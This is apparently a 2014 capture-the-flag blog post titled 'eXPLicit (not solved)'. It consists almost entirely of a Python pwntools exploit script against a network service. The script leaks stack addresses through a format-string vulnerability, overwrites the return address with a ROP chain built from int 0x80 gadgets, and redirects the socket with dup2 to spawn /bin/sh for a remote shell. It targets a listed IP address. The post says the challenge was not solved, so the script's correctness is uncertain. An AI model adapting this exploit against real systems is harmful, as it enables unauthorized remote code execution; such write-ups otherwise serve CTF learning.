# -*- coding: utf-8 -*-
import os
import sys
import time
import re
from pwn import *
from libformatstr import *
REMOTE = 0
if REMOTE:
host = '88.87.208.163'
port = 7070
else:
host = '127.0.0.1'
port = 7070
def connect():
return remote(host, port)
def retrieve_val(res):
m = re.search('Your number is (.+) which is too low.', res)
if m:
leak = m.group(1)
return leak
else:
return None
def dump_stack():
for i in range(1, 100):
payload = (
"%%%d$x" % i +
'\n'
)
s.sendafter('Pick a number between 0 and 20: ', payload)
res = s.recvuntil('which is too low.')
leak = retrieve_val(res)
if leak:
print '%d: %s' % (i, leak)
else:
print buf
s.interactive()
def send_fmt(payload):
s.sendafter('Pick a number between 0 and 20: ', payload + '\n')
bss = 0x80d6080 + 0x100
int80 = 0x8082715 # int 0x80; ret
popeax = 0x80a8ff6 # pop eax; ret
popecx_ebx = 0x8060a7d # pop ecx; pop ebx; ret
popedx_ecx_ebx = 0x8060a7c # pop edx; pop ecx; pop ebx; ret
s = connect()
#dump_stack()
send_fmt('%69$x')
buf = s.recvuntil('which is too low.')
retaddr = int(retrieve_val(buf), 16) - 76 # offset
log.info('retaddr = %x' % retaddr)
# dup2(4, 0)
p = FormatStr()
p[retaddr] = popeax
p[retaddr+4*1] = 0x3f
p[retaddr+4*2] = popecx_ebx
p[retaddr+4*3] = 0
p[retaddr+4*4] = 0x4
p[retaddr+4*5] = int80
send_fmt(p.payload(6))
retaddr += 4*6
# dup2(4, 0)
p = FormatStr()
p[retaddr] = popeax
p[retaddr+4*1] = 0x3f
p[retaddr+4*2] = popecx_ebx
p[retaddr+4*3] = 1
p[retaddr+4*4] = 0x4
p[retaddr+4*5] = int80
send_fmt(p.payload(6))
retaddr += 4*6
# execve("/bin/sh", ["/bin/sh", NULL], NULL)
p = FormatStr()
p[retaddr] = popeax
p[retaddr+4*1] = 0x0b
p[retaddr+4*2] = popedx_ecx_ebx
p[retaddr+4*3] = 0
p[retaddr+4*4] = bss+4*1
p[retaddr+4*5] = bss+4*3
p[retaddr+4*6] = int80
send_fmt(p.payload(6))
# ["/bin/sh", NULL]
p = FormatStr()
p[bss] = retaddr+4*1
p[bss+4*1] = bss+4*3
p[bss+4*2] = 0
p[bss+4*3] = '/bin'
p[bss+4*4] = '/sh\0'
send_fmt(p.payload(6))
s.interactive()
Monday, September 15, 2014
eXPLicit
eXPLicit (not solved)
source
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment